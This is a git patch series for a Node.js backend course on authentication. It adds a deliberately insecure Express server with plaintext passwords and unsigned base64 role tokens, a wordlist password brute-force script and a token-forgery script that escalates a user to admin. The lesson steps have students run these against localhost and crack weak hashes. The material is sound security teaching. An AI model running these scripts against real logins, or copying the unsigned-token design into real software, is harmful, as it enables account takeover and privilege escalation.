From b47442711f0d136b034fcbf963e80a77f7225173 Mon Sep 17 00:00:00 2001 From: Yurii Pakhariev Date: Wed, 18 Mar 2026 19:15:47 +0100 Subject: [PATCH 1/3] Added additional materials and edits according to auth hardening --- .../examples/auth-home-made-token.js | 88 +++++++++++++++++++ .../examples/auth-sessions-brute-force.js | 74 ++++++++++++++++ .../examples/token-forgery.js | 17 ++++ courses/backend/node/week3/preparation.md | 15 ++-- .../10-auth-db-credentials.md | 38 +++++--- .../session-materials/11-auth-db-tokens.md | 20 ++++- 6 files changed, 234 insertions(+), 18 deletions(-) create mode 100644 courses/backend/node/module-materials/examples/auth-home-made-token.js create mode 100644 courses/backend/node/module-materials/examples/auth-sessions-brute-force.js create mode 100644 courses/backend/node/module-materials/examples/token-forgery.js diff --git a/courses/backend/node/module-materials/examples/auth-home-made-token.js b/courses/backend/node/module-materials/examples/auth-home-made-token.js new file mode 100644 index 00000000..4621340d --- /dev/null +++ b/courses/backend/node/module-materials/examples/auth-home-made-token.js @@ -0,0 +1,88 @@ +import express from "express"; +import { createServer } from "http"; + +// Example in-memory "database" for teaching purposes only +const users = [ + { + id: 1, + username: "alice", + password: "password123", + role: "user", + }, + { + id: 2, + username: "admin", + password: "admin123", + role: "admin", + }, +]; + +function getUserByUsername(username) { + return users.find((user) => user.username === username) ?? null; +} + +function issueToken(user) { + const payload = { userId: user.id, username: user.username, role: user.role }; + return Buffer.from(JSON.stringify(payload)).toString("base64"); +} + +function decodeToken(token) { + try { + return JSON.parse(Buffer.from(token, "base64").toString("utf8")); + } catch { + return null; + } +} + +const app = express(); +app.use(express.json()); + +app.post("/login", (req, res) => { + const { username, password } = req.body; + const user = getUserByUsername(username); + + if (!user || user.password !== password) { + return res.status(401).json({ error: "Invalid credentials" }); + } + + const token = issueToken(user); + res.json({ message: "Logged in with base64 token", token }); +}); + +function requireTokenAuth(req, res, next) { + const authHeader = req.headers["authorization"]; + const token = authHeader?.startsWith("Bearer ") ? authHeader.slice(7) : null; + + if (!token) { + return res.status(401).json({ error: "No token provided" }); + } + + const payload = decodeToken(token); + + if (!payload) { + return res.status(401).json({ error: "Invalid token" }); + } + + req.user = payload; + next(); +} + +app.get("/protected", requireTokenAuth, (req, res) => { + res.json({ data: "Token-protected resource", user: req.user }); +}); + +// Admin-only route β€” great for demonstrating role forgery +app.get("/admin", requireTokenAuth, (req, res) => { + if (req.user.role !== "admin") { + return res.status(403).json({ error: "Admins only" }); + } + res.json({ data: "Secret admin data", user: req.user }); +}); + +app.post("/logout", (req, res) => { + res.json({ message: "Logged out (token must be discarded client-side)" }); +}); + +app.listen(3000, () => { + console.log("> Ready on http://localhost:3000 (base64 token example)"); +}); \ No newline at end of file diff --git a/courses/backend/node/module-materials/examples/auth-sessions-brute-force.js b/courses/backend/node/module-materials/examples/auth-sessions-brute-force.js new file mode 100644 index 00000000..978b0d2d --- /dev/null +++ b/courses/backend/node/module-materials/examples/auth-sessions-brute-force.js @@ -0,0 +1,74 @@ +import fs from "fs"; +import readline from "readline"; + +const TARGET_URL = "http://localhost:3000/login"; +const username = process.argv[2] ?? "alice"; +const wordlistPath = process.argv[3] ?? "/usr/share/wordlists/rockyou-50.txt"; +const CONCURRENCY = 10; + +async function tryPassword(password) { + const res = await fetch(TARGET_URL, { + method: "POST", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify({ username, password }), + }); + return { password, success: res.status === 200 }; +} + +async function runChunk(passwords) { + return Promise.all(passwords.map(tryPassword)); +} + +async function bruteForce() { + console.log(`🎯 Target : ${TARGET_URL}`); + console.log(`πŸ‘€ Username: ${username}`); + console.log(`πŸ“– Wordlist: ${wordlistPath}\n`); + + const rl = readline.createInterface({ + input: fs.createReadStream(wordlistPath, { encoding: "latin1" }), + crlfDelay: Infinity, + }); + + let attempted = 0; + let chunk = []; + const startTime = Date.now(); + + for await (const line of rl) { + const password = line.trim(); + if (!password) continue; + + chunk.push(password); + + if (chunk.length >= CONCURRENCY) { + const results = await runChunk(chunk); + attempted += results.length; + + const found = results.find((r) => r.success); + if (found) { + const elapsed = ((Date.now() - startTime) / 1000).toFixed(1); + console.log(`\nβœ… PASSWORD FOUND after ${attempted} attempts (${elapsed}s)`); + console.log(` Username : ${username}`); + console.log(` Password : ${found.password}`); + process.exit(0); + } + + process.stdout.write(`\r⏳ Tried ${attempted} passwords...`); + chunk = []; + } + } + + // flush remaining chunk (wordlist end) + if (chunk.length > 0) { + const results = await runChunk(chunk); + attempted += results.length; + const found = results.find((r) => r.success); + if (found) { + console.log(`\nβœ… PASSWORD FOUND: ${found.password} (after ${attempted} attempts)`); + process.exit(0); + } + } + + console.log(`\n❌ Password not found after ${attempted} attempts.`); +} + +bruteForce().catch(console.error); \ No newline at end of file diff --git a/courses/backend/node/module-materials/examples/token-forgery.js b/courses/backend/node/module-materials/examples/token-forgery.js new file mode 100644 index 00000000..85b65e14 --- /dev/null +++ b/courses/backend/node/module-materials/examples/token-forgery.js @@ -0,0 +1,17 @@ +const token = process.argv[2]; + +if (!token) { + console.error("Usage: node attack-forge-token.js "); + process.exit(1); +} + +function forgeToken(token, overrides) { + const decoded = JSON.parse(Buffer.from(token, "base64").toString("utf8")); + const forged = { ...decoded, ...overrides }; + return Buffer.from(JSON.stringify(forged)).toString("base64"); +} + +const forgedToken = forgeToken(token, { role: "admin" }); + +console.log("\n Original token:", token); +console.log("\n Forged token:", forgedToken); \ No newline at end of file diff --git a/courses/backend/node/week3/preparation.md b/courses/backend/node/week3/preparation.md index 8f282760..59a81fb6 100644 --- a/courses/backend/node/week3/preparation.md +++ b/courses/backend/node/week3/preparation.md @@ -13,14 +13,19 @@ ## Session pre-read -- Read a short introduction to **password hashing and salting** (for example, an article explaining why plaintext passwords are insecure and how bcrypt works) // TODO -- Read a high-level overview of **JWT (JSON Web Tokens)** and how they are used for stateless authentication // TODO -- Read a brief introduction to **cookies and sessions** in web applications // TODO. +- Read a short introduction to [password hashing and salting](https://auth0.com/blog/adding-salt-to-hashing-a-better-way-to-store-passwords/) +- Read a high-level overview of [JWT (JSON Web Tokens](https://auth0.com/docs/secure/tokens/json-web-tokens) + [JWT debugger](https://www.jwt.io/) +- Read about security problems with self-created tokens that could lead to [Token Forgery](https://entro.security/glossary/token-forging/) +- Read a brief introduction to [cookies and sessions](https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/Cookies) - Read a short overview on the [difference between **authentication and authorisation**](https://www.geeksforgeeks.org/computer-networks/difference-between-authentication-and-authorization/). ## Optional Resources For more research, you can explore the following resources: -- OWASP cheatsheets on authentication and session management (for a deeper security perspective). //TODO -- A more in-depth article or video about JWT best practices (token lifetimes, refresh tokens, common pitfalls). //TODO +- Great additional read about [Authentication vulnurabilities](https://portswigger.net/web-security/authentication) +- Great tool to extend your developer toolboc - [CyberChef](https://gchq.github.io/CyberChef/) +- OWASP [cheatsheets](https://cheatsheetseries.owasp.org/index.html) on authentication and session management (for a deeper security perspective). +- A more in-depth article or video about JWT best practices (token lifetimes, refresh tokens, common pitfalls). [JWT Attacks](https://portswigger.net/web-security/jwt) +- Incredible resource to learn security and encryption concepts [Cryptohack](https://cryptohack.org/) \ No newline at end of file diff --git a/courses/backend/node/week3/session-materials/10-auth-db-credentials.md b/courses/backend/node/week3/session-materials/10-auth-db-credentials.md index c9cfe2e7..7e59c206 100644 --- a/courses/backend/node/week3/session-materials/10-auth-db-credentials.md +++ b/courses/backend/node/week3/session-materials/10-auth-db-credentials.md @@ -4,33 +4,49 @@ In this part of the session, you will add **secure password storage** and a **ba We will: -- Hash passwords using `bcrypt`. - Implement a `/login` endpoint that validates a user’s credentials. +- Demonstrate why insecure passwords are a security issue +- Hash passwords using `bcrypt`. ## 1. Database: users table -We can use already existing `users` table. Username can be user `email`, while password hash can be stored in the `token` column. +We can use already existing `users` table. Username can be user `email`, while password can be stored in the `token` column. -Update at least one user with a hashed password (for example a small Node program that calls `bcrypt.hash` and update the row). - -## 2. Install bcrypt - -Install `bcrypt` in the Snippets API project and import it in your auth route module. - -## 3. Implement /login +## 2. Implement /login Create a route (for example in `routes/auth.js`) that: 1. Reads `username` and `password` from the request body. 2. Looks up the user by username in the database. -3. Uses `bcrypt.compare` to compare the provided password with the stored `password_hash`. + +## 3. Demonstrate security issue with the password in plain + +In the implemented solution, or, using the module examples - demonstrate how fast insecure password could be cracked. +You can download any of the suitable [password list](https://github.com/danielmiessler/SecLists/tree/master/Passwords/Leaked-Databases) (suggested rockyou-50.txt) and execute + +`node auth-sessions-brute-force.js user_name /path/to/your/wordlist` + +## 4. Install bcrypt + +Install `bcrypt` in the Snippets API project and import it in your auth route module. +Update at least one user with a hashed password (for example a small Node program that calls `bcrypt.hash` and update the row). + +## 5. Update implementation with bicrypt + +1. Modify the login functionality +2. Use `bcrypt.compare` to compare the provided password with the stored `password_hash`. 4. Returns: - `401 Unauthorized` with a generic error message on failure. - `200 OK` (or `201`) with a small success payload on success. You do **not** need to generate tokens here yet – this is just about secure credential checking. -## 4. Suggested exercises +## 6. Hash cracking introduction + +If using MD5 hashing algorythm, it is great to demonstrate that even hashed, if password is weak - it could be easily cracked +Take the created password hash (considering that it was a simple password like qwerty123, password123 etc) and paste it [here](https://crackstation.net/) + +## 7. Suggested exercises - Add at least one extra user to the database and test logging in as both. - Think about: diff --git a/courses/backend/node/week3/session-materials/11-auth-db-tokens.md b/courses/backend/node/week3/session-materials/11-auth-db-tokens.md index 22f95fea..6e0651c3 100644 --- a/courses/backend/node/week3/session-materials/11-auth-db-tokens.md +++ b/courses/backend/node/week3/session-materials/11-auth-db-tokens.md @@ -16,6 +16,7 @@ Add a `tokens` table to the Snippets database, for example with columns: - `id` (primary key) - `user_id` (foreign key to `users.id`) +- `role` (string) - `token` (string, unique) - `created_at` (timestamp) - `expires_at` (timestamp, optional) @@ -25,7 +26,7 @@ Add a `tokens` table to the Snippets database, for example with columns: Extend login (or create a separate `/login-token` route) so that: 1. You first verify the username and password using your secure logic. -2. Generate a random token value (for example using `crypto.randomBytes`). +2. Generate an encoded token value (using Base64 for the further example). 3. Insert a new row into the `tokens` table with the user ID and token. 4. Return the token to the client (e.g. `{ "token": "" }`). @@ -38,7 +39,22 @@ Create middleware (e.g. `requireTokenAuth`) that: 3. (Optionally) checks for expiration. 4. Attaches the corresponding user to `req.user`, or returns `401` if the token is not valid. -## 4. Suggested exercises +## 4. Implement role-based routed + +Create an `/admin` rote protected by the role guard, so that: + +1. Only the user with 'admin' role can access the route +2. Only the authenticated user can access the route + +## 5. Perform the token forgery + +In order to demonstrate why simple encoding is not enough for the token - perform the request forgery + +1. Take the token and decode it (examples/token-forgery.js for the full path, [CyberChef](https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true,false/disabled)To_Base64('A-Za-z0-9%2B/%3D')&input=eyJ1c2VySWQiOjEsInVzZXJuYW1lIjoiYWxpY2UiLCJyb2xlIjoiYWRtaW4ifQ) to go step-by-step) +2. Change the role in the token from user to admin +3. Use the newly 'forged' token to enter `/admin` route + +## 6. Suggested exercises - Protect one or more Snippets API endpoints with your token-based middleware. - Implement a `/logout-token` endpoint that deletes the token from the database. From 5ce1967d2641e8b67bb6ff8ecebd61b2efe59fc1 Mon Sep 17 00:00:00 2001 From: Yurii Pakhariev Date: Wed, 18 Mar 2026 19:29:00 +0100 Subject: [PATCH 2/3] lint fixes --- .../examples/auth-home-made-token.js | 2 +- .../examples/auth-sessions-brute-force.js | 12 ++++++++---- .../node/module-materials/examples/token-forgery.js | 2 +- courses/backend/node/week3/preparation.md | 2 +- .../session-materials/10-auth-db-credentials.md | 2 +- .../week3/session-materials/11-auth-db-tokens.md | 4 ++-- 6 files changed, 14 insertions(+), 10 deletions(-) diff --git a/courses/backend/node/module-materials/examples/auth-home-made-token.js b/courses/backend/node/module-materials/examples/auth-home-made-token.js index 4621340d..6f2ff23d 100644 --- a/courses/backend/node/module-materials/examples/auth-home-made-token.js +++ b/courses/backend/node/module-materials/examples/auth-home-made-token.js @@ -85,4 +85,4 @@ app.post("/logout", (req, res) => { app.listen(3000, () => { console.log("> Ready on http://localhost:3000 (base64 token example)"); -}); \ No newline at end of file +}); diff --git a/courses/backend/node/module-materials/examples/auth-sessions-brute-force.js b/courses/backend/node/module-materials/examples/auth-sessions-brute-force.js index 978b0d2d..740294e1 100644 --- a/courses/backend/node/module-materials/examples/auth-sessions-brute-force.js +++ b/courses/backend/node/module-materials/examples/auth-sessions-brute-force.js @@ -4,7 +4,7 @@ import readline from "readline"; const TARGET_URL = "http://localhost:3000/login"; const username = process.argv[2] ?? "alice"; const wordlistPath = process.argv[3] ?? "/usr/share/wordlists/rockyou-50.txt"; -const CONCURRENCY = 10; +const CONCURRENCY = 10; async function tryPassword(password) { const res = await fetch(TARGET_URL, { @@ -46,7 +46,9 @@ async function bruteForce() { const found = results.find((r) => r.success); if (found) { const elapsed = ((Date.now() - startTime) / 1000).toFixed(1); - console.log(`\nβœ… PASSWORD FOUND after ${attempted} attempts (${elapsed}s)`); + console.log( + `\nβœ… PASSWORD FOUND after ${attempted} attempts (${elapsed}s)`, + ); console.log(` Username : ${username}`); console.log(` Password : ${found.password}`); process.exit(0); @@ -63,7 +65,9 @@ async function bruteForce() { attempted += results.length; const found = results.find((r) => r.success); if (found) { - console.log(`\nβœ… PASSWORD FOUND: ${found.password} (after ${attempted} attempts)`); + console.log( + `\nβœ… PASSWORD FOUND: ${found.password} (after ${attempted} attempts)`, + ); process.exit(0); } } @@ -71,4 +75,4 @@ async function bruteForce() { console.log(`\n❌ Password not found after ${attempted} attempts.`); } -bruteForce().catch(console.error); \ No newline at end of file +bruteForce().catch(console.error); diff --git a/courses/backend/node/module-materials/examples/token-forgery.js b/courses/backend/node/module-materials/examples/token-forgery.js index 85b65e14..0b0d1ec3 100644 --- a/courses/backend/node/module-materials/examples/token-forgery.js +++ b/courses/backend/node/module-materials/examples/token-forgery.js @@ -14,4 +14,4 @@ function forgeToken(token, overrides) { const forgedToken = forgeToken(token, { role: "admin" }); console.log("\n Original token:", token); -console.log("\n Forged token:", forgedToken); \ No newline at end of file +console.log("\n Forged token:", forgedToken); diff --git a/courses/backend/node/week3/preparation.md b/courses/backend/node/week3/preparation.md index 59a81fb6..b97cbeea 100644 --- a/courses/backend/node/week3/preparation.md +++ b/courses/backend/node/week3/preparation.md @@ -28,4 +28,4 @@ For more research, you can explore the following resources: - Great tool to extend your developer toolboc - [CyberChef](https://gchq.github.io/CyberChef/) - OWASP [cheatsheets](https://cheatsheetseries.owasp.org/index.html) on authentication and session management (for a deeper security perspective). - A more in-depth article or video about JWT best practices (token lifetimes, refresh tokens, common pitfalls). [JWT Attacks](https://portswigger.net/web-security/jwt) -- Incredible resource to learn security and encryption concepts [Cryptohack](https://cryptohack.org/) \ No newline at end of file +- Incredible resource to learn security and encryption concepts [Cryptohack](https://cryptohack.org/) diff --git a/courses/backend/node/week3/session-materials/10-auth-db-credentials.md b/courses/backend/node/week3/session-materials/10-auth-db-credentials.md index 7e59c206..e82124e7 100644 --- a/courses/backend/node/week3/session-materials/10-auth-db-credentials.md +++ b/courses/backend/node/week3/session-materials/10-auth-db-credentials.md @@ -35,7 +35,7 @@ Update at least one user with a hashed password (for example a small Node progra 1. Modify the login functionality 2. Use `bcrypt.compare` to compare the provided password with the stored `password_hash`. -4. Returns: +3. Returns: - `401 Unauthorized` with a generic error message on failure. - `200 OK` (or `201`) with a small success payload on success. diff --git a/courses/backend/node/week3/session-materials/11-auth-db-tokens.md b/courses/backend/node/week3/session-materials/11-auth-db-tokens.md index 6e0651c3..8936e79f 100644 --- a/courses/backend/node/week3/session-materials/11-auth-db-tokens.md +++ b/courses/backend/node/week3/session-materials/11-auth-db-tokens.md @@ -16,7 +16,7 @@ Add a `tokens` table to the Snippets database, for example with columns: - `id` (primary key) - `user_id` (foreign key to `users.id`) -- `role` (string) +- `role` (string) - `token` (string, unique) - `created_at` (timestamp) - `expires_at` (timestamp, optional) @@ -50,7 +50,7 @@ Create an `/admin` rote protected by the role guard, so that: In order to demonstrate why simple encoding is not enough for the token - perform the request forgery -1. Take the token and decode it (examples/token-forgery.js for the full path, [CyberChef](https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true,false/disabled)To_Base64('A-Za-z0-9%2B/%3D')&input=eyJ1c2VySWQiOjEsInVzZXJuYW1lIjoiYWxpY2UiLCJyb2xlIjoiYWRtaW4ifQ) to go step-by-step) +1. Take the token and decode it (examples/token-forgery.js for the full path, [CyberChef]() to go step-by-step) 2. Change the role in the token from user to admin 3. Use the newly 'forged' token to enter `/admin` route From dc6eb19b0e51dc25b0b3eb1815e2d84871afa8b6 Mon Sep 17 00:00:00 2001 From: Yurii Pakhariev Date: Wed, 18 Mar 2026 19:31:07 +0100 Subject: [PATCH 3/3] descriptive link --- .../node/week3/session-materials/10-auth-db-credentials.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/courses/backend/node/week3/session-materials/10-auth-db-credentials.md b/courses/backend/node/week3/session-materials/10-auth-db-credentials.md index e82124e7..fff536df 100644 --- a/courses/backend/node/week3/session-materials/10-auth-db-credentials.md +++ b/courses/backend/node/week3/session-materials/10-auth-db-credentials.md @@ -44,7 +44,7 @@ You do **not** need to generate tokens here yet – this is just about secure cr ## 6. Hash cracking introduction If using MD5 hashing algorythm, it is great to demonstrate that even hashed, if password is weak - it could be easily cracked -Take the created password hash (considering that it was a simple password like qwerty123, password123 etc) and paste it [here](https://crackstation.net/) +Take the created password hash (considering that it was a simple password like qwerty123, password123 etc) and paste it here - [Crack Station](https://crackstation.net/) ## 7. Suggested exercises